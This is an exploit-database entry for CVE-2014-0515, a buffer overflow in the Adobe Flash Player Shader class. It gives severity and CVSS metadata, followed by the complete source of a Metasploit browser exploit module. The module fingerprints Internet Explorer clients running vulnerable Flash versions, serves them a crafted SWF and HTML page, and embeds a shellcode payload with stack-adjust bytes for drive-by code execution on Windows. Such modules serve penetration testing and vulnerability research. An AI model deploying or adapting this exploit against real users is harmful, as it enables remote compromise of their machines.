Exploitalert - Database of Exploits

Adobe Flash Player Shader Buffer Overflow

CVE	Category	Price	Severity
CVE-2014-0515	CWE-119	$30,000	High

Author	Risk	Exploitation Type	Date
Unknown	Critical	Remote	2014-05-09

CPE
cpe:cpe:/a:adobe:flash_player

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

http://cxsecurity.com/ascii/WLB-2014050052

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Shader Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially crafted data as its bytecode, as exploited in the wild in April 2014. This module has been tested successfully on IE 6 to IE 10 with Flash 11 and Flash 12 over Windows XP SP3, Windows 7 SP1 and Windows 8. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Vulnerability discovery and exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-0515'], ['BID', '67092'], ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] ], 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'PrependEncoder' => stack_adjust }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', 'Retries' => false, 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", :method => "LoadMovie", :os_name => Msf::OperatingSystems::WINDOWS, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Apr 28 2014", 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def stack_adjust adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset adjust end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" flash_payload = "" get_payload(cli,target_info).unpack("V*").each do |i| flash_payload << "0x#{i.to_s(16)}," end flash_payload.gsub!(/,$/, "") html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=flash_payload%>" /> <param name="Play" value="true" /> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end

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